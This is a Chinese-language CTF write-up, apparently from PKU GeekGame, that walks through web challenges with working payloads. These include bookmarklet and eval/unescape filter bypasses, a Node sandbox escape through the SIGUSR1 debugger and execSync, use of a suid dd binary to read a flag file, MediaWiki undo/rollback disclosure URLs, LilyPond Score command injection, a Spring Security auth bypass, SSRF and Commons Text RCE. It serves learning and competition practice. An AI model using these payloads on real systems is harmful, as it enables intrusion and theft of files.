<html><head><title>GIVE-ME-FLAG-1 #=_= @[emailprotected] ^~^ %[*.*]%</title></head><body>miaotony</body></html>

然后试一试

这就能拿到 flag1 了。

信息不漏!!!

还是围绕对 JavaScript 的特判来看

// Treat javascript: scheme queries followed by things that are unlikely to
// be code as UNKNOWN, rather than script to execute (URL).
if (RE2::FullMatch(base::UTF16ToUTF8(text), "(?i)javascript:([^;=().\"]*)")) {
  return metrics::OmniboxInputType::UNKNOWN;
}

需要满足这个 正则表达式 的输入才能是 UNKNOWN

根据官方 wp,利用反引号可以执行任意函数:

javascript:open`javascript:alert\x281\x29`
javascript:setTimeout`alert\x281\x29`
javascript:eval['call']`${'alert\x281\x29'}`
javascript:Function`alert\x281\x29```

于是可以试试把 title 给设置为页面里的 flag,就能将 flag 带出来了。

构造 payload,前面的反引号构造了个匿名函数,最后的两个反引号应该相当于 () 立即执行的意思

javascript:Function`document\x2etitle\x3ddocument\x2equerySelector\x28\x22\x2eflag\x22\x29\x2etextContent```

或者还可以利用 Bookmarklet 的一个鲜为人知的特性:如果 javascript: 后面的内容是一个字符串,它就会被浏览器视为 HTML 解释。也就是说,我们可以直接写成这样:

javascript:'<title>'+document['body']['textContent']

它相当于 document.write 后面的内容。

(学多,您们 js 太会玩了!

这也能卷

某大学的很多课都有作业,特别是程序设计课程,往往会要求同学们写些简单程序当作业。 可惜,现在大家都很卷,考试总能取得极高的分数,甚至大作业也会卷出新花样来。 倘若某人在作业上开摆,那么等待他的往往只能是一个寄字,这也是某大学“摆寄”花名之由来。

你有一位室友,他的口头禅是“我是摆大最摆的人”和“我从不内卷”。

这一次,他选修了一门叫《JavaScript程序设计》的课程。自从选修这门课程后,你发现他 天天熬到半夜,对着VSCode傻笑,实为异常。

一天,你在偶然间听到了他的喃喃自语:“只要我把小作业当期末作业做,大作业当毕业设计做,势必能卷过其他卷王!” 听到这,感觉收到了欺骗的你勃然大怒,打开了他的第一个“小”作业——一个“简单”的计算器。

另外,通过一顿家园,你获得了他的后端源码,这让这道题的难度大大降低。

你可以 访问题目网页

你可以 下载题目源码

Flag · 摆

访问 /premium.html,有个 premium.js,里面是混淆后的代码,其中还有 debugger 卡死调试窗口的

这里直接跳过断点

里面有个 flag0 常量,直接在 console 里执行后面的这段

_0x340c07(0x65d, 'aIlf', 0x554, 0x7bc, 0x7c0) + _0x340c07(0x522, 'mxb3', 0x41a, 0x61d, 0x5ed) + _0x476726('Zml(', 0x605, 0x57c, 0x6a1, 0x5a5) + _0x476726('UwsG', 0x5d6, 0x5c1, 0x500, 0x601) + _0x5e5705('mmNu', 0x1d0, 0x354, 0x339, 0x1d1) + _0x476726('][gJ', 0x3b3, 0x4c7, 0x43a, 0x401);

就能拿到第一个 flag 了!

flag{fr0nt3nd_log1c_m4tters}

Flag · 大

后面两个 flag 看他给的后端源码,应该是 ‘node’, ‘browser’ 各有一个

大概率是 nodejs 原型链污染一个,可能是 RCE?

另一个就是 chrome browser,访问 sandbox.html 获取其中的 flag 常量。

sandbox.js

// @ts-check
import { launch } from 'puppeteer'
import { pathToFileURL } from 'url'
import { promisify } from 'util'
import { execFile } from 'child_process'
import { resolve } from 'path'
import { NODE_PATH, ROOT_DIR } from './misc.js'
const execFileAsync = promisify(execFile)
const sandboxUrl = pathToFileURL(resolve(ROOT_DIR, 'sandbox.html')).href

/**
 * @param {string} expr
 */
export async function runInNodeSandbox(expr) {
  const args = [
    '--experimental-policy=policy.json',
    '--policy-integrity=sha256-1NvUvTeQqHoo+XJv7zUAobD/VEaIGQ8CB3471GP2isY=',
    'runner.js',
    '-e=' + Buffer.from(expr).toString('base64')
  ]
  const result = await execFileAsync(NODE_PATH, args, {
    timeout: 10000,
    cwd: ROOT_DIR,
    shell: false
  })
  return JSON.parse(result.stdout)
}

/**
 * @param {string} expr
 */
export async function runInBrowserSandbox(expr) {
  const browser = await launch({
    executablePath: 'google-chrome-stable',
    args: ['--no-sandbox']
  })
  try {
    const page = await browser.newPage()
    await page.goto(sandboxUrl)
    const result = await page.evaluate(expr)
    await browser.close()
    return result
  } catch (err) {
    await browser.close()
    throw err
  }
}

index.js

// @ts-check
import fastify from 'fastify'
import fastifyStatic from '@fastify/static'
import { join } from 'path'
import { runInNodeSandbox, runInBrowserSandbox } from './sandbox.js'
import { ROOT_DIR } from './misc.js'

const server = fastify()

server.post(
  '/submit',
  {
    schema: {
      body: {
        type: 'object',
        properties: {
          expr: {
            type: 'string',
            pattern: '^([a-z0-9+\\-*/%(), ]|([0-9]+[.])+[0-9]+)+$'
          },
          mode: { type: 'string', enum: ['node', 'browser'] }
        },
        required: ['expr', 'mode']
      }
    }
  },
  async (req) => {
    // @ts-ignore
    const { expr, mode } = req.body
    const result = await (mode === 'node'
      ? runInNodeSandbox(expr)
      : runInBrowserSandbox(expr))
    return { result }
  }
)

server.register(fastifyStatic, {
  root: join(ROOT_DIR, '..', 'frontend')
})

console.log(await server.listen({ port: 3000, host: '0.0.0.0' }))

runner.js

Object.entries(Object.getOwnPropertyDescriptors(Math))
  .map((e) => e[0])
  .filter((e) => typeof e === 'string')
  .forEach((key) => (globalThis[key] = Math[key]))

const arg = process.argv.find((str) => str.startsWith('-e='))
if (!arg) process.exit(1)
const expression = Buffer.from(arg.slice(3), 'base64').toString()
Promise.resolve(eval(expression)).then((result) =>
  console.log(JSON.stringify(result))
)

misc.js

// @ts-check
import { fileURLToPath } from 'url'
import { dirname } from 'path'
import { createRequire } from 'module'
const filename = fileURLToPath(import.meta.url)
export const ROOT_DIR = dirname(filename)
export const NODE_PATH = process.execPath
globalThis.require = createRequire(filename)

前端这里有个 premium user 相关的

main-premium.js 下载下来

const backend = document.getElementById('backend')
function appendOption(value, name) {
  const option = document.createElement('option')
  option.value = value
  option.textContent = name
  backend.appendChild(option)
}
appendOption('node', 'Node.JS')
appendOption('browser', 'Browser')

const original = [...document.querySelectorAll('.calc-btn')].find(
  (e) => e.textContent.trim() === '='
)
const submit = original.cloneNode(true)
submit.style.background = '#9b59b6'
submit.style.color = 'white'
original.replaceWith(submit)

const display = document.querySelector('.display')
submit.addEventListener('click', () => {
  const expr = display.value
  display.value = 'Calculating...'
  const mode = backend.value
  try {
    if (['node', 'browser'].includes(mode)) {
      fetch('/submit', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ expr, mode })
      })
        .then((res) => res.json())
        .then((res) => (display.value = '' + res.result))
    } else {
      display.value = eval(expr)
    }
  } catch (err) {
    console.log(err)
    display.value = 'Error'
  }
})

试了试 i_am_premium_user 作为 activation code,然而发现并没有用

看起来这个应该还是在那堆混淆的 js 里。

localStorage.setItem("i_am_premium_user", "true");

没啥用的感觉(

还是看后端然后试着发包吧。

哈哈,不能直接读 flag

看起来是把包含 flag 的地方直接 replace 掉了

唔,看起来页面里的 flag 变量就是这个,那应该还有点别的东西,还是得 读 head 部分的源码 了。

不懂了.jpg

赛后才知道,原来可以用 正则表达式 结合 url 编码(unescape)来绕过这个匹配的正则表达式(^([a-z0-9+\\-*/%(), ]|([0-9]+[.])+[0-9]+)+$

这个 poc 来自 官方解法

/flag{.+}/.exec(document.querySelector('script').innerText)[0]

function generatePayload(code) {
  return `eval(unescape(/%2f%0a${[...code]
    .map((_) => '%' + _.charCodeAt(0).toString(16).padStart(2, '0'))
    .join('')}%2f/))`
}

// payload:
// eval(unescape(/%2f%0a%2f%66%6c%61%67%7b%2e%2b%7d%2f%2e%65%78%65%63%28%64%6f%63%75%6d%65%6e%74%2e%71%75%65%72%79%53%65%6c%65%63%74%6f%72%28%27%73%63%72%69%70%74%27%29%2e%69%6e%6e%65%72%54%65%78%74%29%5b%30%5d%2f/))

POST /submit HTTP/2
Host: prob09-h5rdr7ox.geekgame.pku.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://prob09-manager.geekgame.pku.edu.cn/
Content-Type: application/json
Content-Length: 243

{"expr":"eval(unescape(/%2f%0a%2f%66%6c%61%67%7b%2e%2b%7d%2f%2e%65%78%65%63%28%64%6f%63%75%6d%65%6e%74%2e%71%75%65%72%79%53%65%6c%65%63%74%6f%72%28%27%73%63%72%69%70%74%27%29%2e%69%6e%6e%65%72%54%65%78%74%29%5b%30%5d%2f/))","mode":"browser"}

flag{reg3x_byp4ss_made_easy}

Flag · 烂

这个 flag 需要借助 Node.JS 沙箱,喵喵不会啊,摆烂了,这里就纯复现 wp 了

Node.JS 沙箱运行在 esm 模式下,并通过 policy 禁用了import外部包。但我们仍然能访问process对象。

当一个Node.JS进程收到SIGUSR1信号时会进入调试模式,并在127.0.0.1:9229处暴露一个DevTools API。我们先使用process.kill向沙箱的父进程,也即后端主进程发送信号,在 Node.JS 沙箱里使用 fetch 去获取具体的 ws Endpoint,然后通过 Chrome 沙箱去连接这个 Endpoint,就能在后端主进程的上下文里运行代码——这一次将可以使用require来加载外部包,从而实现 RCE。

继而,我们可以使用find命令等手段寻找具有 suid 权限的二进制(本题中为dd),并使用其读取 flag 文件。

这个 flag 的灵感来源于 Node.JS 新的Permissions API。但就算用了这个 API,Node.JS 沙箱依然非常危险。

(您们真会玩啊

先执行 process.kill(process.ppid, 'SIGUSR1'),让沙箱的父进程进入调试模式

{"expr":"eval(unescape(/%2f%0a%70%72%6f%63%65%73%73%2e%6b%69%6c%6c%28%70%72%6f%63%65%73%73%2e%70%70%69%64%2c%20%27%53%49%47%55%53%52%31%27%29%2f/))","mode":"node"}

然后获取 DevTools API

fetch('http://127.0.0.1:9229/json/list').then(res => res.text())

{"expr":"eval(unescape(/%2f%0a%66%65%74%63%68%28%27%68%74%74%70%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%32%32%39%2f%6a%73%6f%6e%2f%6c%69%73%74%27%29%2e%74%68%65%6e%28%72%65%73%20%3d%3e%20%72%65%73%2e%74%65%78%74%28%29%29%2f/))","mode":"node"}


[ {
  "description": "node.js instance",
  "devtoolsFrontendUrl": "devtools://devtools/bundled/js_app.html?experiments=true&v8only=true&ws=127.0.0.1:9229/868794b9-884f-4f32-92c4-8934031e2c38",
  "devtoolsFrontendUrlCompat": "devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/868794b9-884f-4f32-92c4-8934031e2c38",
  "faviconUrl": "https://nodejs.org/static/images/favicons/favicon.ico",
  "id": "868794b9-884f-4f32-92c4-8934031e2c38",
  "title": "backend/index.js",
  "type": "node",
  "url": "file:///app/backend/index.js",
  "webSocketDebuggerUrl": "ws://127.0.0.1:9229/868794b9-884f-4f32-92c4-8934031e2c38"
} ]

在 browser 端,借助 WebSocket 连接这个 webSocketDebuggerUrl,require 获取外部包 child_process 来执行命令

new Promise(res => {
  const ws = new WebSocket('ws://127.0.0.1:9229/868794b9-884f-4f32-92c4-8934031e2c38');
  ws.onopen = () => {
    ws.onmessage = (e) => {
      res(e.data);
    };
    ws.send(JSON.stringify({
      id: 1,
      method: 'Runtime.evaluate',
      params: {
        expression: "require('child_process').execSync('ls -al /').toString()"
      },
    }));
  };
})

顺便,看下找提权的过程

$ ls -al /
drwxr-xr-x   1 root root   65 Dec 31 10:51 .
drwxr-xr-x   1 root root   65 Dec 31 10:51 ..
-rwxr-xr-x   1 root root    0 Dec 31 10:51 .dockerenv
drwxr-xr-x   1 root root   21 Nov 12 05:14 app
drwxr-xr-x   1 root root   16 Nov 12 05:13 bin
drwxr-xr-x   2 root root    6 Sep  3 12:10 boot
drwxr-xr-x   5 root root  340 Dec 31 10:51 dev
drwxr-xr-x   1 root root   66 Dec 31 10:51 etc
-r--r--r--   1 root root   35 Dec 31 10:51 flag
drwxr-xr-x   1 root root   22 Nov 12 05:14 home
drwxr-xr-x   1 root root   86 Nov 12 05:13 lib
drwxr-xr-x   2 root root   34 Oct 24 00:00 lib64
drwxr-xr-x   2 root root    6 Oct 24 00:00 media
drwxr-xr-x   2 root root    6 Oct 24 00:00 mnt
drwxr-xr-x   1 root root   20 Nov 12 05:13 opt
dr-xr-xr-x 689 root root    0 Dec 31 10:51 proc
drwx------   1 root root   18 Nov  8 18:29 root
drwxr-xr-x   3 root root   30 Oct 24 00:00 run
drwxr-xr-x   1 root root   25 Dec 31 10:51 sbin
drwxr-xr-x   2 root root 4096 Dec 31 10:51 sock
drwxr-xr-x   2 root root    6 Oct 24 00:00 srv
dr-xr-xr-x  13 root root    0 Dec 31 10:51 sys
drwxrwxrwt   1 root root   65 Dec 31 11:16 tmp
drwxr-xr-x   1 root root   96 Oct 24 00:00 usr
drwxr-xr-x   1 root root   17 Oct 24 00:00 var

$ find /bin -perm -u=s -type f 2>/dev/null
/bin/dd
/bin/mount
/bin/su
/bin/umount

最后用 dd 来读 flag

/bin/dd if=/flag

POST /submit HTTP/2
Host: prob09-h5rdr7ox.geekgame.pku.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: https://prob09-manager.geekgame.pku.edu.cn/
Content-Type: application/json
Content-Length: 1236

{"expr":"eval(unescape(/%2f%0a%0a%6e%65%77%20%50%72%6f%6d%69%73%65%28%72%65%73%20%3d%3e%20%7b%0a%20%20%63%6f%6e%73%74%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%32%32%39%2f%38%36%38%37%39%34%62%39%2d%38%38%34%66%2d%34%66%33%32%2d%39%32%63%34%2d%38%39%33%34%30%33%31%65%32%63%33%38%27%29%3b%0a%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%28%29%20%3d%3e%20%7b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%28%65%29%20%3d%3e%20%7b%0a%20%20%20%20%20%20%72%65%73%28%65%2e%64%61%74%61%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%73%65%6e%64%28%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%7b%0a%20%20%20%20%20%20%69%64%3a%20%31%2c%0a%20%20%20%20%20%20%6d%65%74%68%6f%64%3a%20%27%52%75%6e%74%69%6d%65%2e%65%76%61%6c%75%61%74%65%27%2c%0a%20%20%20%20%20%20%70%61%72%61%6d%73%3a%20%7b%0a%20%20%20%20%20%20%20%20%65%78%70%72%65%73%73%69%6f%6e%3a%20%22%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%53%79%6e%63%28%27%2f%62%69%6e%2f%64%64%20%69%66%3d%2f%66%6c%61%67%27%29%2e%74%6f%53%74%72%69%6e%67%28%29%22%0a%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%7d%29%29%3b%0a%20%20%7d%3b%0a%7d%29%0a%20%20%2f/))","mode":"browser"}


{"result":"{\"id\":1,\"result\":{\"result\":{\"type\":\"string\",\"value\":\"flag{nOde_sANdbox_1s_alwaYs_risky}\\n\"}}}"}

Node.js policy 安全策略

私有笔记

大家或许做过 Hackergame 2022 “Flag 的痕迹”一题,或许没做过,这不重要。

总之,现在2020年小 Z 在自己的机器上部署了一个 MediaWiki 用于记录自己的笔记,把 Flag 放在里面,然后想方设法不让其他人看到。 但是,这次不仅 Flag 被泄漏了,黑客还在机器上干了更多坏事……

一些说明:

  1. 此题和 Hackergame 的题目解法没有直接联系。
  2. 此题不是代码审计题,一开始就阅读源代码是错误的选择。

你可以 访问题目网页

知识,与你分享

访问 /index.php/特殊:版本

MediaWiki 1.34.4

老版本了,大概率有 CVE,要不然就是哪家插件锅了能 RCE 之类的。

https://www.mediawiki.org/wiki/2021-12_security_release/FAQ

(中文:https://www.mediawiki.org/wiki/2021-12_security_release/FAQ/zh

  • CVE-2021-44858: The “undo” feature (action=edit&undo=##&undoafter=###) allowed an attacker to view the contents of arbitrary revisions, regardless of whether they had permissions to do so. This was also found in the “mcrundo” and “mcrrestore” actions (action=mcrundo and action=mcrrestore).
  • CVE-2021-45038: The “rollback” feature (action=rollback) could be passed a specially crafted parameter that allowed an attacker to view the contents of arbitrary pages, regardless of whether they had permissions to do so.
  • CVE-2021-44857: The “mcrundo” and “mcrrestore” actions (action=mcrundo and action=mcrrestore) did not properly check for editing permissions, and allowed an attacker to take the content of any arbitrary revision and save it on any page of their choosing. This affects both public wikis and public pages on private wikis.

如果是私有 wiki 站点,而且在$wgWhitelistRead$wgWhitelistReadRegexp设置有页面(也就是 一些匿名用户能够阅读的页面),那就会受影响。

CVE-2021-44857, CVE-2021-44858: Unauthorized users can undo edits on any protected page and view contents of private wikis using mcrundo

The mcrundo action seems to do no checks at all for if users have permission to perform edits on that page. This means any user can undo edits on any protected page, such as the main page. E.g. this URL: https://commons.wikimedia.org/w/index.php?title=Main_Page&action=mcrundo&undo=603639572&undoafter=600544238 will allow you to undo an edit on the main page.

747596: SECURITY: Fix permissions checks in undo actions

Both traditional action=edit&undo= and the newer action=mcrundo/action=mcrrestore endpoints suffer from a flaw that allows for leaking entire private wikis by enumerating through revision IDs when at least one page was publicly accessible via $wgWhitelistRead. This is CVE-2021-44858.

05f06286f4def removed the restriction that user-supplied undo IDs belong ot the same page, and was then copied into mcrundo. This check has been restored by using RevisionLookup::getRevisionByTitle(), which returns null if the revid is on a different page. This will break the workflow outlined in T58184, but that could be restored in the future with better access control checks.

action=mcrundo/action=restore suffer from an additional flaw that allows for bypassing most editing restrictions. It makes no check on whether user has the ‘edit’ permission or can even edit that page (page protection, etc.). This is CVE-2021-44857.

This has been fixed by requiring the ‘edit’ permission to even invoke the action (via Action::getRestriction()), as well as checking the user’s permissions to edit the specific page before saving.

The EditFilterMergedContent hook is also run against the revision before it’s saved so SpamBlacklist, AbuseFilter, etc. have a chance to review the new page contents before saving.

Kudos to Dylsss for the identification and report.

Bug: T297322

Co-authored-by: Taavi Väänänen [emailprotected]

Change-Id: I496093adfcf5a0e30774d452b650b751518370ce

如果 action 为 edit 或者新的 mcrundo / mcrrestore 这些,因为在 includes/EditPage.phpincludes/actions/McrUndoAction.php 没有对页面的 edit 行为进行权限限制从而可以绕过来读私有页面

这里的意思大概是要穷举 revision IDs,有点像上个月 hackergame 里那个 Wiki 里群友尝试过但失败了的方法

爆破一下 undo 和 undoafter,盲猜 undo 是之前的,undoafter 是修改后的

发现是 https://prob07-xxx.geekgame.pku.edu.cn/w/index.php?title=%E9%A6%96%E9%A1%B5&action=mcrundo&undo=1&undoafter=2

当然也可以是 edit

https://prob07-xxx.geekgame.pku.edu.cn/w/index.php?title=%E9%A6%96%E9%A1%B5&action=edit&undo=1&undoafter=2

flag{insecure_01d_mediavviki}

当然还可以用另一个 CVE,通过 rollback 来读 private wiki 的内容

https://prob07-xxx.geekgame.pku.edu.cn/index.php?action=rollback&from={{:Flag}}

来我家做客吧

这问盲猜就是扩展程序锅了能任意读文件甚至 RCE,而这里就一个 Score,搜一下就搜到了

正好放了提示

第二阶段提示:

  • 提供以下配置文件:DockerfileLocalSettings.php
  • 2021年12月,MediaWiki爆出一系列漏洞,允许攻击者访问私有 wiki 的任何内容,以及修改公开 wiki 的任何页面(例如维基百科的首页)。所幸,漏洞被发现并修复前没有造成已知的负面影响。
  • 2020年7月,Score扩展爆出漏洞,允许攻击者执行任意命令。漏洞发现不久,Score扩展就在维基媒体计划禁用了。在此漏洞的修复过程中,又发现了一系列绕过方法。维基媒体计划的最终的处理方法是把LilyPond放到一个独立的容器运行;13个月后(2021年8月),Score扩展才被重新启用。
  • 可以参考MediaWiki bug report system对相关漏洞的讨论。

顺便,这个 Dockerfile 也提示了 old_id=2,也就是上一问应该取 undoafter=2

FROM mediawiki:1.34

RUN sed -i "[emailprotected]://.*[emailprotected]://[emailprotected]" /etc/apt/sources.list
RUN sed -i "[emailprotected]://.*[emailprotected]://[emailprotected]" /etc/apt/sources.list
RUN apt-get update
RUN apt-get install -y sqlite3 lilypond
RUN git clone https://gitlab.com/debugger-zhang/Score.git /var/www/html/extensions/Score --depth=1
COPY my_wiki.sqlite /var/www/data/
COPY my_wiki_jobqueue.sqlite /var/www/data/
COPY my_wiki_l10n_cache.sqlite /var/www/data/
RUN chown www-data:www-data /var/www/data/*
RUN mkdir /var/www/data/locks && chown www-data:www-data /var/www/data/locks
COPY .htaccess /var/www/data/
COPY LocalSettings.php /var/www/html/
COPY flag1 /
COPY flag2 /
RUN rm -rf /var/www/html/mw-config
RUN sqlite3 -line /var/www/data/my_wiki.sqlite "UPDATE text SET old_text='You can use the following username and password to login:'||char(10)||'* User name: Flag1'||char(10)||'* Password: `cat /flag1`'||char(10)||char(10)||'Try RCE to find Flag 2.' WHERE old_id=2"
RUN php /var/www/html/maintenance/changePassword.php --user=Flag1 --password=`cat /flag1`
#RUN sed -i "s/127.0.0.1:8080/$hackergame_host/g" LocalSettings.php

Extension:Score/2021 security advisory

In summary, the following security issues were discovered:

T257062 and its subtasks was where most coordination and discussion happened. Some more discussion about improving LilyPond’s security took place on the lilypond-devel mailing list and in private email.


Re-enabling Score

Now in August 2021, Wikimedia has re-enabled Score after isolating LilyPond and other external binaries using Shellbox.

On non-Wikimedia wikis: It is recommended to only enable Score and LilyPond on your wiki if you absolutely trust everyone who has editing privileges, or if you use Shellbox. Even with “safe mode” enabled, it is not safe to allow LilyPond to process arbitrary input without containment. Ensure you’re using a recent version of LilyPond (2.22.0+) or a distribution package (e.g. from Debian) that contains the security fixes. All fixes have been backported to the REL1_36 branch of Score and can be downloaded from Git or the ExtensionDistributor.

这题用的 LilyPond 2.18.2,Score 0.3.0 (dd534e1) 2019年9月17日 (二) 13:38

考虑到这个版本这么老,大概率就是这堆 CVE 里的了(怎么还有未披露的啊 害人不浅啊

原来 LilyPond (荷花池) 是一个音乐雕版软件,乐

Lilypond seemingly not subject to restrictions (CVE-2020-29007)

上一题提示我们可以用 Flag1 / flag{insecure_01d_mediavviki} 来登录

看文档 mediawiki 扩展:乐谱

试了下不能加 sound vorbis 这些参数,否则会因为没装 TimedMediaHandler扩展,无法进行音频转换,就渲染不出来。

所以直接去掉这些参数就好了

构造个 payload 将 flag 写入 web 目录下

<score lang="lilypond">\new Staff <<{c^#
(number->string (system "cat /flag2 > /var/www/html/flag2"))
}>></score>

这里应该是执行后返回值为 0

flag{li1yp0nd_can_1ead_to_rce}

最后,执行个 ps 瞄一眼

赛后发现可以直接用下面的代码把 flag 渲染出来

<score>\new Staff <<{c^#
(object->string (call-with-input-file "/flag2" read))
}>></score>

^后是音符c的上标,#是Scheme语句的开始标志

企业级理解

本题(不含以下题面)由赞助商蚂蚁集团提供。

大型企业的软件开发方式与开源项目是不同的。 只有拥有了大型企业特有的企业级理解,才能够更好地让产品为客户赋能,实现前端与后台的解耦,将需求对齐到场景的完整链路中,实现从底层到盈利层的打通……

有些企业选择了坚如磐石的 Java 8 语言,只有在数十亿设备上都能运行的环境才是稳定可靠的环境。

有些企业选择了历久弥新的 Spring Framework,毕竟只需要写几行配置就能为一个巨大的 Web App 增加自动生成的登录页面,工程师放心,产品经理也放心。

有些企业选择了让程序员用 A4 纸书面打印代码来考核工作量,因为 “Talk is cheap, show me your code.” 是每名科班程序员的信条。

有些企业选择了用毕业典礼欢送每一名员工,即将毕业的 You 酱心有不甘,摸了摸胸前的工牌,在会议室的桌上捡起了两张同事上周打印出来的代码,希望能够成为自己职业道路上的一份纪念。

你You,有着企业级理解吗?

补充说明:本题不需要爆破密码。三个 Flag 分别需要绕过登录页面访问管理后台、访问本机上的 bonus 服务、通过 bonus 服务在机器上执行命令。

注意:题目返回的 Flag 格式可能形如 flag1{...},请改成 flag{...} 后提交。

你可以 访问题目网页 你可以 下载部分题目源码

赋能管理后台

绕过登录页面访问管理后台

参考 Spring Security的一个简单auth bypass和一些小笔记

在url最后加个 / 后缀,就能auth bypass了

于是直接访问 http://prob08-fyjvhi7n.geekgame.pku.edu.cn/admin/

试试这个 query 有啥用,这三个选项总有一个有戏吧!

试到 PKU_GeekGame,出了 flag1!

payload:

POST /admin/query/ HTTP/1.1
Host: prob08-fyjvhi7n.geekgame.pku.edu.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://prob08-fyjvhi7n.geekgame.pku.edu.cn/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=9DFC4E40600AB403B62117862E63EB8B
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

type=PKU_GeekGame

Java安全之Spring Security绕过总结

Spring Security的一个简单auth bypass和一些小笔记

盘活业务增长

看源码

http://prob08-fyjvhi7n.geekgame.pku.edu.cn/admin/source_bak/

import org.springframework.web.reactive.function.client.WebClient;

@RestController
public class AdminController {

    WebClient webClient = WebClient.builder().baseUrl("http://localhost:8079/").build();

    @RequestMapping("/admin/{index}")
    public String adminIndex(@PathVariable(name="index") String index, String auth, QueryBean queryBean) {
        if (index != null & index.contains("%")) {
            index = URLDecoder.decode(index, "UTF-8");
        }
        if (queryBean.getType() == null) {
            queryBean.setType("PKU");
        }
        if (!typeList.contains(queryBean.getType())) {
            typeList.add(queryBean.getType());
        }

        Mono<String> str = webClient.post()
            .uri(index)
            .header(HttpHeaders.AUTHORIZATION, auth)
            .body(BodyInserters.fromFormData("type", queryBean.getType()))
            .retrieve().bodyToMono(String.class);

        return queryBean.setValue(str.block());
    }
}

这里应该是个 SSRF,这部分应该要访问本机上的 bonus 服务来拿 flag

index 参数这里将网址二次 URL 编码就好了

根据所给的源码 Dockerfile

FROM openjdk:8u342-jre
ENV LANG C.UTF-8
VOLUME /tmp
COPY PKU_GeekGame_Ant_Web-1.0.0-SNAPSHOT.jar web.jar
COPY PKU_GeekGame_Ant_Backend-1.0.0-SNAPSHOT.jar backend.jar
COPY PKU_GeekGame_Ant_Bonus-1.0.0-SNAPSHOT.jar bonus.jar
COPY flag1.txt /root/flag1.txt
COPY flag2.txt /root/flag2.txt
COPY flag3.txt /root/flag3.txt

RUN echo \
"#!/bin/sh\n"\
"nohup java -jar /backend.jar --server.port=8079 &\n"\
"nohup java -jar /bonus.jar --server.port=8080 &"\
>> /start.sh
RUN chmod +x /start.sh
CMD nohup sh -c "/start.sh && java -jar /web.jar --server.port=80"
EXPOSE 80

bonus 开在 8080 端口,于是构造

POST /admin/http%253A%252F%252Flocalhost%253A8080%252F/ HTTP/1.1

Response

Endpoints:
/bonus
/source_bak

POST /admin/http%253A%252F%252Flocalhost%253A8080%252Fbonus/ 

打通整个系统

第二阶段提示:

  • Flag 1:很多 HTTP 框架都会在判断网址对应的 Endpoint 时去除网址结尾的斜杠。
  • Flag 2:可以通过 web 服务访问本机的 bonus 服务,以及别忘了源码是可以下载的。
  • Flag 3:“这确实不是漏洞,这是特性” —— Log4j 对他的好兄弟 Commons Text 点了一个赞。

这部分需要 通过 bonus 服务在机器上执行命令

再去看源码

POST /admin/http%253A%252F%252Flocalhost%253A8080%252Fsource_bak/
import org.apache.commons.text.StringSubstitutor;

@RestController
public class BonusController {

	@RequestMapping("/bonus")
	public QueryBean bonus(QueryBean queryBean) {
	    if(queryBean.getType().equals("CommonsText")) {
	        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
	        interpolator.setEnableSubstitutionInVariables(true);

	        String value = replaceUnSafeWord(queryBean.getValue());
	        String resultValue = interpolator.replace(value);
	        queryBean.setValue(resultValue);

	    } else {
	        // flag3藏在/root/flag3.txt等待你发现
	    }

	    return queryBean;
	}

	public static String replaceUnSafeWord(String txt) {
	    String resultTxt = txt;

	    ArrayList<String> unsafeList = new ArrayList<String>(Arrays.asList("java", "js", "script", "exec", "start", "url", "dns", "groovy", "bsh", "eval", "ognl"));
	    Iterator<String> iterator = unsafeList.iterator();
	    String word;
	    String replaceString;
	    while (iterator.hasNext()) {
	        word = iterator.next();
	        replaceString = "";
	        resultTxt = resultTxt.replaceAll("(?i)" + word, replaceString);
	    }

	    return resultTxt;
	}
	
}

这里的过滤直接双写绕过就完事了。

去 GitHub 找了老半天 queryBean 类似的代码,才知道您们 Java 这里是把所有 query 参数都做了个类,获取对应的值都有一个 getxxx 方法。

于是 queryBean.getType() 实际上就是接收 ?type=xxx 的值,而 queryBean.getValue() 就是拿 value=xxx

而这个打 SSRF 要把 POST 参数放在 body 里(详见上面的 AdminController


再回到题目

搜了下 Commons Text RCE,果然就是今年十月份还算挺新鲜的洞(怎么那时候没咋关注捏?

浅谈Apache Commons Text RCE(CVE-2022-42889)

text4shell CVE-2022-42889 poc

Apache Commons Text RCE flaw — Keep calm and patch away

CVE-2022-42889: Keep Calm and Stop Saying “4Shell”

CVE-2022-42889-POC

首先试试能不能看版本

试试能不能 RCE,看上去是已经执行了,返回了个执行的 UNIXProcess,但是没有命令执行的回显。

但是题目环境不出网,没法反弹 shell,后端是用 jar 部署的无法写入静态文件,外带的话也没想到啥好方案。

